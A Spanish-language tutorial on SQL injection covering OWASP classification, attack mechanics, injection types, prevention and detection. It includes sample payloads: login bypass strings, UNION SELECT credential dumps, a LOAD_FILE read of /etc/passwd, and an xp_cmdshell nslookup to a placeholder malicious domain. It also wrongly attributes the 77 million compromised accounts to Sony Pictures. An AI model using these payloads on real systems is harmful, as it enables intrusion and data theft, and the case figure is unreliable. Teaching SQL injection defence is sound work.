Inyecciones SQL (SQLi)

1. Las Inyecciones SQL

Una **Inyección SQL (SQLi)** es una vulnerabilidad de seguridad que permite a un atacante interferir en las consultas que una aplicación realiza a su base de datos. Esto ocurre cuando una aplicación no válida, filtra o sanitiza correctamente las entradas proporcionadas por el usuario, permitiendo la inserción de código SQL malicioso en sentencias de base de datos.

Definición Clave:

- **SQLi** permite a un atacante leer, modificar, eliminar datos o ejecutar comandos administrativos en la base de datos.
- Es una de las vulnerabilidades más críticas debido a su impacto directo en la confidencialidad, integridad y disponibilidad de los datos.

2. Clasificación OWASP

En el OWASP Top 10 2021, la Inyección SQL forma parte de la categoría A03:2021 - Injection. Esta categoría se mantiene como una de las principales amenazas debido a:

- Su alta frecuencia de ocurrencia
- La facilidad de explotación
- El impacto severo que puede tener en los sistemas afectados

Niveles de Gravedad

Crítico (CVSS 9.0-10.0)

- Acceso completo a la base de datos
- Capacidad de ejecutar comandos del sistema operativo
- Exposición total de información sensible
- Ejemplo: `UNION SELECT null,null,LOAD_FILE('/etc/passwd')`

Alto (CVSS 7.0-8.9)

- Lectura no autorizada de datos
- Modificación de registros
- Ejemplo: `UNION SELECT username, password FROM users`

Medio (CVSS 4.0-6.9)

- Enumeración de tablas y columnas
- Fingerprinting de base de datos
- Ejemplo: `' OR '1'='1`

Bajo (CVSS 0.1-3.9)

- Errores reveladores
- Información de versiones
- Ejemplo: `' OR 'x'='x`

- **CVSS (Common Vulnerability Scoring System)**:
  - **Base Score**: 9.8/10 (Crítico) en la mayoría de los casos.

- **Vector de Ataque**: Remoto sin autenticación.

- **OWASP Top 10 2021**:
  - Clasificado bajo **A03:2021 – Inyección** (antes A01:2017).
  - **Prevalencia**: Alta (≈33% de las aplicaciones tienen vulnerabilidades de inyección).
  - **Impacto**: Crítico (pérdida de datos, denegación de servicio, compromiso del servidor).

---

3. Mecanismo de Ataque

Flujo de un Ataque SQLi

1. **Entrada Maliciosa**: El atacante envía datos manipulados (ej: `' OR '1'='1`).
2. **Construcción Insegura de Queries**: La aplicación concatena entradas no validadas en una consulta SQL.
3. **Ejecución del Código Malicioso**: La base de datos procesa la consulta modificada.
4. **Resultado**:
   - Acceso no autorizado a datos.
   - Ejecución de operaciones administrativas (ej: `DROP TABLE`).

Ejemplo Práctico

Consulta Vulnerable:

```
SELECT *
FROM usuarios
WHERE usuario = '$input_usuario' AND contraseña = '$input_contraseña'
;
```

Entrada Maliciosa:

- Usuario: `admin' --`

- Contraseña: [cualquier valor].

  Consulta Resultante:

```
SELECT *
FROM usuarios
WHERE usuario = 'admin' --' AND contraseña = '...';
```

El comentario `--` anula la validación de la contraseña, autenticando al atacante como `admin`.

---

4. Tipos de Inyecciones SQL

a) Inyección Clásica (In-Band)

- **Error-Based**:
  - El atacante provoca errores en la base de datos para obtener información sobre su estructura.
  - Ejemplo: `' UNION SELECT 1,@@version--`.
- **Union-Based**:
  - Usa `UNION SELECT` para combinar resultados de múltiples consultas.
  - Ejemplo: `' UNION SELECT username, password FROM usuarios--`.

b) Inyección Inferencial (Blind SQLi)

- **Boolean-Based**:
  - El atacante deduce información basándose en respuestas booleanas (verdadero/falso).
  - Ejemplo: `' AND 1=1 --` (retorna verdadero), `' AND 1=2 --` (retorna falso).
- **Time-Based**:
  - Usa retrasos condicionales para inferir datos (ej: `IF(1=1, SLEEP(5), 0)`).

c) Inyección Fuera de Banda (Out-of-Band)

- La respuesta se recibe a través de canales alternativos (ej: DNS, HTTP).
- Ejemplo: `'; EXEC xp_cmdshell('nslookup http://dominio-malicioso.com')--`.

---

5. Impacto según OWASP Top 10 2021

- **Categoría A03: Inyección**:
  - **Descripción**: Las fallas de inyección permiten que un atacante envíe datos hostiles a un intérprete.
  - **Ejemplos**:
    - Acceso a datos sensibles (credenciales, información personal).
    - Ejecución de comandos remotos en el servidor.
    - Corrupción o eliminación de datos (ej: `DROP TABLE`).
  - **Factores de Riesgo**:
    - Uso de concatenación de strings en consultas SQL.
    - Falta de validación de entradas.
    - Configuraciones inseguras de la base de datos.

---

6. Prevención de Inyecciones SQL

a) Consultas Parametrizadas (Prepared Statements)

- **Mecanismo**: Separar el código SQL de los datos usando parámetros.
- **Ejemplo en PHP (PDO)**:

```
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE usuario = :usuari
o');
$stmt->execute(['usuario' => $input_usuario]);
```

b) Uso de ORM (Object-Relational Mapping)

- **Herramientas**: Hibernate (Java), Entity Framework (C#), Django ORM (Python).
- **Ventaja**: Evita la escritura manual de SQL, reduciendo errores.

c) Validación y Filtrado de Entradas

- **Reglas**:
  - Listas blancas (allowlist) de caracteres permitidos.
  - Escapar caracteres especiales (ej: `'` → `\'`).

d) Stored Procedures

- **Requisito**: Deben ser escritas sin concatenación dinámica.
- **Ejemplo**:

```
CREATE PROCEDURE LoginUsuario (@Usuario NVARCHAR(50), @Password N
VARCHAR(50))
AS
BEGIN
  SELECT * FROM usuarios WHERE usuario = @Usuario AND password = @P
assword;
END
```

e) Mínimo Privilegio en la Base de Datos

- **Recomendación**:
  - Usar cuentas de BD con permisos restringidos (ej: solo `SELECT`, no `DROP`).

---

7. Detección de SQLi

- **Code Review**: Buscar concatenación de strings en consultas SQL.
- **Pruebas Dinámicas**:
  - Enviar entradas como `'`, `"`, `OR 1=1` y analizar respuestas.
- **Monitoreo**: Alertas por consultas SQL inusuales (ej: múltiples `UNION SELECT`).

8. Casos Reales de SQLi

1. **Heartland Payment Systems (2008)**:
    - **Impacto**: 134 millones de tarjetas de crédito expuestas.
    - **Causa**: SQLi en una aplicación web interna.
    - **Noticia:** https://rohittamma.substack.com/p/2008-heartland-breach-lessons-from
2. **Sony Pictures (2011)**:
    - **Impacto**: 77 millones de cuentas comprometidas.
    - **Causa**: Falta de sanitización en formularios de login.
    - **Noticia:** https://thehackernews.com/2011/06/sony-pictures-hacked-and-database.html

9. Conclusión

Las inyecciones SQL siguen siendo una amenaza crítica debido a su simplicidad y alto impacto. Su mitigación requiere un enfoque en defensas en profundidad:

- Validación estricta de entradas.
- Uso obligatorio de consultas parametrizadas.
- Auditorías continuas de código y configuración.

Recursos Adicionales:

- OWASP SQL Injection Prevention Cheat Sheet.
- OWASP SQL Injection